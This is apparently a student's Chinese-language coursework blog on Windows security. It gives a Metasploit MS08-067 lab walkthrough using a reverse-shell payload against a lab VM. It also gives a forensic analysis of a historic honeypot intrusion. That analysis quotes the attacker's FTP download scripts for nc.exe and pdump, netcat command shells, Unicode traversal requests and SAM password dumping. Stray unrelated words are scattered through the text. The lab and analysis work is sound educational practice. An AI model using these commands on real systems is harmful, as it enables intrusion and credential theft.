問題 | 回答 |
---|---|
這個做業屬於哪一個課程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
這個做業的要求在哪裏 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612 |
我在這個課程的目標是 | 學習教材第七章,瞭解Windows操做系統的網絡攻防技術 |
這個做業在哪一個具體方面幫助我實現目標 | 相關知識點和實踐任務 |
Windows 操做系統的基本結構以下圖所示, 分爲運行於處理器特權模式 (ring 0)的操做系統內核,以及運行在處理器非特權模式 (ring 3)的用戶空間代碼。採用宏內核 (monolithic) 模式來進行架構,即大量的內核模塊與設備驅動程序共享內核態內存空間, 這使得任意的內核模塊或設備驅 動程序均可能破壞其餘內核模塊數據。
html
在上述系統架構下, Windows 操做系統內核中實現了以下的核心機制。mysql
Windows 操做系統基於引用監控器模型 (Reference Monitor) 來實現基本的對象安全
模型。引用監控器模型是安全操做系統設計的一種經典模型, 如圖7-6所示, 系統中全部主體對客體的訪問都經過引用監控器做爲中介,由引用監控器根據安全訪問控制策略來進行受權訪問,全部訪問記錄也都由引用監控器生成審計日誌。
web
其中最爲核心的是位於內核中的 SRM 安全引用監控器, 以及位於用戶態的 LSASS 安全服務。
sql
Windows操做系統中以安全主體概念來包含全部進行系統資源訪問請求的實體對象,有用戶、用戶組和計算機三大類,對於每一個安全主體,以時間和空間上都全局惟一的SID安全標識符來進行標識;Windows爲每一個用戶和計算機設置帳戶進行管理,本地Administrator和SYSTEM帳戶擁有最高權限;Windows支持本地身份認證和網絡身份認證兩種方式,分別對在本地系統登陸和遠程網絡訪問的主體進行合法性驗證。
shell
Windows的受權與訪問控制機制是基千引用監控器模型,由內核中的 SRM 模塊與用 戶態的 LSASS 服務共同來實施,由SRM做爲安全主體訪間對象資源時的中介,根據設定的訪問控制列表進行受權訪問。
數據庫
系統審計策略在本地安全策略中由系統管理員定義,來肯定系統對哪些事件進行記錄,LSASS服務將保存審計策略,並在對象啓動審計功能後,在對象安全描述符中的 SACL 列表中進行保存;SRM安全引用監控器在進行對象訪問受權時,也將依據對象的 SACL 列表配置,對指定的對象訪問和操做事件進行審計記錄,發送給 LSASS 服務;由 LSASS 服務補充審計記錄細節信息後,再將這些審計記錄發送給 EventLog 事件日誌服務;EventLog 服務最後將事件日誌寫入日誌文件中,並經過事件查看器工具展現給系統管理員windows
Windows 安全中心(防火牆、補丁、病毒防禦),IPsec加載和驗證機制,EPS加密文件系統,文件保護機制,捆綁的IE瀏覽器所提供的隱私保護和瀏覽器安全保護機制等。api
Windows 遠程攻擊技術能夠分爲如下幾大類:遠程口令猜想與破解攻擊,攻擊 Windows 網絡服務,攻擊 Windows 客戶端及用戶。瀏覽器
其中包括針對NETBIOS服務的攻擊(Windows局域網聯網的基本支持,基本輸入/輸出系統);針對SMB服務的攻擊(文件與打印共享);針對MSRPC服務的攻擊(遠程過程調用);針對Windows系統上微軟網絡服務的攻擊(微軟公司提供的網絡服務);針對Windows系統上第三方網絡服務的攻擊(第三方公司提供的網絡服務)安全
在利用遠程滲透攻擊技術獲取到Windows系統的訪問權以後,攻擊者下一步的目標就是破解本地程序安全漏洞,進行特權提高以取得系統的完整控制權,並在系統中竊取口令等敏感信息擴大戰果,進一步掩蹤滅跡,植入遠程控制後門程序以維護對系統的長期控制。
在攻擊者得到Windows系統上的受限用戶權限以後,他們將當即若眼千得到終極特權: Administrator 或 Local System 帳戶。從受限用戶權限嘗試得到特權帳戶的攻擊技術也被稱爲特權提高(PrivilegeEscalation), 業內簡稱爲「提權」。Windows系統上進行特權提高的攻擊途徑中要是經過DLL注入和破解本地程序安全漏洞。
Windows系統中最吸引攻擊者的敏感信息首先是本地保存的各類口令字, 攻擊者一旦破譯了這些口令字, 他們就頗有可能利用這些口令,來嘗試登陸本地網絡或目標用戶其餘的系統資源。其中包括包括windows系統口令字密文提取技術、windows系統口令字破解技術、用戶敏感信息竊取等手段。防範措施包括:使用安全度高、能抵擋破解的口令
在攻擊者得到 Windows 系統的 Administrator 權限, 並竊取了他所感興趣的敏感信息以後,攻擊者會想盡一切辦法來避免被人覺察他們的存在。他們會把各類入侵的痕跡進行刪除或者掩蓋,使得系統的用戶或管理員沒法意識到系統已被攻陷,從而保證攻擊者對系統的長期控制。其中包括關閉審計功能和清理事件日誌,其中防範措施包括實現配置好系統審計和網絡服務審計功能,並將日誌傳輸到安全服務器中。
攻擊者在目標系統上完成提權、信息竊取、掩蹤滅跡等任務以後,爲了確保之後可以方便地登陸到這臺已被攻陷與控制的系統主機,他們還會在系統中植入遠程控制和後門程序,維持對這臺主機持久的控制權。
攻擊者每每會在受控的系統中自主植入第三方的遠桯控制與後門程序,主要分爲命令行遠程控制工具、圖形化遠程控制工具這兩大類。防範措施包括採用一些後門檢測軟件來嘗試發現攻擊者隱藏的後門程序。
任務:使用 Metasploit 軟件進行 Windows 遠程滲透攻擊實驗。
具體任務內容:使用 WindowsAttacker/BT4 攻擊機嘗試對 Windows Metasploitable 靶機上的 MS08-067 漏洞進行遠程滲透攻擊,獲取目標主機訪問權。
實踐步驟:
本次實踐所使用虛擬機爲 kail 和 Windows Metasploitable ,ip地址以下表所示
主機名稱 | ip地址 |
---|---|
kail | 192.168.200.3 |
windows | 192.168.200.124 |
在kali終端中開啓msfconsole
,輸入命令search ms08_067
,會顯示出找到的滲透模塊,以下圖所示
輸入命令use exploit/windows/smb/ms08_067_netapi
,進入該漏洞模塊的使用。
輸入命令show payload
會顯示出有效的攻擊載荷(即滲透代碼),以下圖所示,咱們找到一個3號載荷 shell_reverse_tcp (反向tcp)並使用它
使用命令set payload generic/shell_reverse_tcp
設置攻擊有效載荷。同時使用命令show options
顯示咱們須要在攻擊前須要設置的數據,LHOST 和 RHOST,分別爲目標主機連接的IP地址(攻擊機ip)和遠程主機或者目標主機的IP地址
使用命令
set LHOST 192.168.200.3 set RHOST 192.168.200.124
並使用命令show options
再次查看payload狀態。
輸入命令exploit
開始攻擊,顯示command shell session 數字 open
,表示攻擊成功,輸入任意值後進入遠程控制界面(ps:顯示的亂碼是由於靶機 shell 中部分提示是以中文的形式給出的,可是個人 kail 沒有安裝中文數據包,因此顯示亂碼)
測試一下,使用命令mkdir success
在當前目錄下建立success文件夾,在靶機中查看發現建立成功
攻擊成功
經過net user
查看用戶組中的用戶,發現當前用戶極大機率是Guest(遊客)用戶,在靶機上經過命令net user Guest
查看用戶Guest的詳細信息(不直接在kail上查看主要由於是個人 kail 沒有中文數據包,顯示的都是亂碼),發現該用戶上次登錄時間與我正在攻擊的時間相符合,因此得到的權限應該是遊客權限(因爲這是後來想到的,因此驗證時候又進行了一次攻擊,因此顯示時間與前面的演示步驟的時間有一點差距)
來自213.116.251.162的攻擊者成功攻陷了一臺巾 rfp 部署的蜜罐主機172.16.1.106 (主機名爲:lab. wiretrip.net). 這是一次很是典型的針對NT系統的攻擊,並且找們有理由相信攻擊者最終識別了蜜罐主機,所以這將是一個很是有趣的案例分析挑戰。
你的分析數據源只有包含整個攻擊過程的二進制記錄文件, 而你的任務就是從這個文件中提取並分析攻擊的所有過程。
首先經過 snort 對網絡日誌文件進行已知入侵方法的檢測,生成的alert文件能夠提供不少有用的線索
使用命令行snort -r snort-0204@0117.log -c /etc/snort/snort.conf -K acsii
,在在/var/log/snort/目錄下能夠查找到alert文件
總共有317條報警信息,其中共有8種報警信息
web目錄遍歷報警
web 403 訪問限制錯誤消息
msadcs.dll訪問,該DLL存在已知的安全漏洞
MDAC溢出攻擊嘗試
cmd.exe 遠程 shell 訪問
nc.exe後門程序訪問
ping探測
目錄列舉
其中web 目錄遍歷報警和 MADC 溢出攻擊嘗試是比較重要的,根據所給的提示信息上網搜索能夠發現 IIS 的兩個安全漏洞,分別是 Unicode 漏洞(MS00-078/MS01-026)和 MDAC RDS漏洞(MS02-065)。
經過以上分析,攻擊者極可能利用了 IIS 的上述兩個安全漏洞攻陷了蜜罐主機,並經過 nc 構建了遠程鏈接
攻擊者使用了什麼破解工具進行攻擊?
經過以上分析咱們大概已經有了一個輪廓,下面經過 wireshark 對 log 文件進行更細緻的分析
首先經過ip地址篩選會話ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
,發現攻擊者在一開始進行了http訪問,訪問了蜜罐主機的網頁,他的User-Agent(用戶代理)字段爲 Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0),能夠推測出攻擊主機應爲 NT5.0 系統,安裝了 MSIE 5.01 和 Hotbar 2.0 插件,而蜜罐主機則安裝了IIS4.0服務組件
緊接着在117編號的數據包內能夠發現,在訪問了這個頁面後,攻擊者打開了系統啓動文件boot.ini
,而這裏存在一個比較特殊的字符%C0%AF
,在查閱網上的資料後,根據IIS的Unicode漏洞攻擊這篇博客可知,%C0%AF
爲字符/
的Unicode編碼,因此很可能攻擊者利用了 Unicode解析錯誤漏洞,結合博客所給的測試是否存在Unicode漏洞的字段爲 winnt/system32/cmd.exe?/c+dir
,而 log 文件中也能找到相應字段,所以能夠判定攻擊使用了這類漏洞
隨後在編號130和140的數據包發現了msadc
字段,根據GET /msadc/msadc.dll HTTP
字段能夠推測攻擊者探測了蜜罐主機是否存在 MSADCS RDS 漏洞,緊接着在編號149的數據包內追蹤tcp流,能夠發現攻擊者利用RDS漏洞進行了SQL注入攻擊,嘗試執行cmd /c echo werd >> c:\fun
命令。
發現ADM!ROX!YOUR!WORLD
字符串比較有趣,上網查詢,發現這是一個名爲msadc(2).pl的工具發起的攻擊
至此咱們能夠知道攻擊者使用了 Unicode漏洞和 msadc(2).pl工具發起了攻擊
攻擊者如何使用這個破解工具進入並控制了系統?
從會話1778-80
(編號179)開始,攻擊者進行了一系列的攻擊動做,
1778-80:cmd /c echo user johna2k > ftpcom 1780-80:cmd /c echo hacker2000 > ftpcom 1782-80:cmd /c echo get samdump.dll > ftpcom 1784-80:cmd /c echo get pdump.exe > ftpcom 1786-80:cmd /c echo get nc.exe > ftpcom 1791-80:cmd /c ftp -s:ftpcom -n www.nether.net
上述指令的意思是攻擊者首先建立了一個ftpcom腳本,並使用 ftp 鏈接www.nether.net(給出了用戶名密碼),嘗試下載 samdump.dll、pdump.exe和nc.exe(攻擊工具)。繼續查看會話1791-80以後出現了蜜罐主機與該網站的ftp鏈接,網站的IP爲204.42.253.18。經過追蹤TCP流發現,這個鏈接因爲口令錯誤致使鏈接失敗。說明此次攻擊是一個失敗的攻擊。
接着往下看
//試圖運行pdump.exe,破解sam中的口令密碼,結果輸出到new.pass中,但以前沒有成功下載pdump,失敗 1793-80:cmd /c pdump.exe>>new.pass 1795-80:cmd /c echo userjohna2k > ftpcom2 1797-80:cmd /c echo hacker2000>>ftpcom2 1799-80:cmd /c put new . pass>>ftpcom2 1801—80:cmd /c echo quit>>ftpcom2 」 ) 1803-80:cmd /c ftp -s : ftpcom2 – n www.nether.net」 ) 1808-80:cmd /c ftp 213.116.251.162 」 )
能夠看到攻擊者建立了另外一個腳本ftpcom2,試圖將破解的口令new.pass上傳到FTP上,但一樣因爲登錄口令錯誤沒有成功
後面的基本上大同小異,都是攻擊者不斷編寫腳本,嘗試從www.nether.net下載工具到蜜罐主機,固然無一例外因爲他編寫的腳本問題都失敗了。在通過屢次RDS攻擊失敗後,於會話1874-80開始,攻擊者轉向Unicode攻擊
1874-80: copy C:\winnt\system32\cmd.exe cmd1.exe 1875-80: cmd1.exe /c open 213.116.251.162 >ftpcom 1876-80: cmd1.exe /c echo johna2k >>ftpcom 1877-80: cmd1.exe /c echo haxedj00 >>ftpcom 1879-80: cmd1.exe /c echo get nc.exe >>ftpcom 1880-80: cmd1.exe /c echo get pdump.exe >>ftpcom 1881-80: cmd1.exe /c echo get samdump.dll >>ftpcom 1882-80: cmd1.exe /c echo quit >>ftpcom 1885-80: cmd /c ftp –s:ftpcom
此次終於成功,蜜罐主機鏈接213.116.251.162 (攻擊者本身的主機)下載了所指定的這些文件,並經過nc構建了一個遠程shell通道
在下載完文件以後,攻擊者執行了這樣一條命令1887-80: cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻擊者鏈接了6969端口,得到了訪問權限,並建立了一個交互式控制界面。至此,攻擊者完成了進入系統而且得到訪問權的過程。
當攻擊者得到系統的訪問權後作了什麼?
首先追蹤一下tcp流
接下來簡要的說一下攻擊者的行爲
首先攻擊者進行了一些查看文件和權限,刪除腳本等經常使用操做
而後攻擊者嘗試使用pdump直接從註冊表中提取口令密文,可是失敗了
cmd / c pdump.exe >> c : yay.txt cmd / c net session >> yay2.txt cmd / c net users >> heh.txt cmd / c net users >> c : heh.txt
而後攻擊者嘗試信息收集,net session(列出會話),可是沒有權限,而後執行net users,返回該主機的用戶列表
接下來攻擊者發了一個echo消息到C盤根目錄文件
接着嘗試經過net group
查看組用戶、net localgroup
查看本地組用戶、以及 net group domain admins
,然而這些都失敗了。
接下來攻擊者嘗試使用net命令將 IUSR/IW 帳戶加入 「Domain Admins」,由於其不屬於本地管理員組,故失敗
net localgroup Domain Admins IWAM_KENNY/ ADD net localgroup Domain Admins IUSR_KENNY/ ADD
而後嘗試將其加入本地管理員組,執行以下命令,成功
接下來,攻擊者開始尋找msadc目錄,咱們發現做者又一次執行pdump來導出口令密文,可是仍是以失敗了結。
攻擊者放棄了pdump
提取Administrator
口令密文的企圖。攻擊者刪除了samdump
和pdump
攻擊者轉而使用rdisk
嘗試得到SAM
口令文件(安全帳號管理器),rdisk
是磁盤修復程序,執行rdisk /s-
(攻擊者一開始輸入錯誤,最後經過RDS輸入成功)備份關鍵系統信息,在/repair目錄中就會建立一個名爲sam._
的SAM
壓縮拷貝。而且攻擊者把這個文件保存到har.txt並在屏幕打印出來,可是這致使了 shell 窗口不可用
接着攻擊者在會話1987->80
進行了Unicode攻擊,而且從新鏈接了一個端口6968(6969端口失效了),執行指令爲nc -l -p 6968 -e cmd1.exe
繼續追蹤TCP流發現攻擊者首先將SAM文件拷貝至IIS的根目錄 inetpub,攻擊者獲取該文件後,嘗試刪除,但由於鎖定沒有成功。而後攻擊者把其餘盤符看了一遍以後,退出了這個shell鏈接。
接下來攻擊者在會話2007->80
進行了Unicode攻擊,而且從新鏈接了一個端口6868,執行指令爲nc -l -p 6868 -e cmd1.exe
。可是至此開始,攻擊者的IP地址變成了202.85.60.156。
能夠發現攻擊者建立了一個test.txt
文件,內容爲This can't be true
,並echo . >> default.htm
篡改了首頁。隨後exit退出了當前的shell,而後跟隨這個數據包往下,咱們能夠發現有不少其餘的 IP 地址訪問了新建立的 test.txt 文件。
接着往下看,咱們能夠看到不少ftp服務,經過追蹤流發現,攻擊者應該是上傳了獲得的whisker.tar.gz
文件,ftp服務結束,發現攻擊者繼續進行了一個 Unicode 攻擊,指令爲del ftpcom
,也就是刪除了 ftpcom 腳本文件,攻擊者這一步是爲了清除痕跡。到此,整個攻擊結束。
咱們如何防止這樣的攻擊
你以爲攻擊者是否警覺了他的目標是一臺蜜罐主機?若是是, 爲何?
攻擊者發現了這是一臺蜜罐主機,由於攻擊者留下了這樣的信息。
攻防對抗實踐內容:攻擊方Metasploit Windows Attack, 防護方:wireshark捕獲攻擊流,分析出攻擊哪一個安全漏洞,從官方網站上下載該安全漏洞補丁進行修補,給出攻防過程報告。
攻擊方: 使用metasploit,選擇metasploitable中的漏洞進行滲透攻擊,得到控制權。
防守方: 使用 tcpdump/wireshark/snort 監聽得到網絡攻擊的數據包文件,並結合 wireshark/snort 分析攻擊過程,獲取攻擊者IP地址、目標IP和端口、攻擊發起時間、 攻擊 利用漏洞、攻擊使用shellcode,以及攻擊成功以後在本地執行的命令輸入等信息。
團隊共同合做完成滲透攻擊與分析實驗報告。
攻擊過程與2.1中的攻擊相同,這裏主要演示防護過程,因爲靶機上沒有 wireshark 工具,因此在攻擊機上打開 wireshark 捕捉數據包
咱們發現攻擊機向靶機發送了許多SMB數據包,而 MS08-067 漏洞是經過MSRPC over SMB
通道調用Server
服務程序中的NetPathCanonicalize
函數時觸發的。MS08-067的漏洞原理可參考MS08-067漏洞原理及詳盡分析過程
經過此次學習和實踐初步瞭解了對 Windows 操做系統的攻擊過程,可是因爲基礎較差,取證分析實踐過程還有許多不完善的地方,之後還要多多學習。
案例演示-分析 NT 系統破解攻擊
網絡攻防技術與實踐
MS08_067漏洞滲透攻擊實踐
MS08-067漏洞原理及詳盡分析過程
知已知彼 Windows 系統常見漏洞分析
NT4.0下的msadcs.dll漏洞的利用
IIS的Unicode漏洞攻擊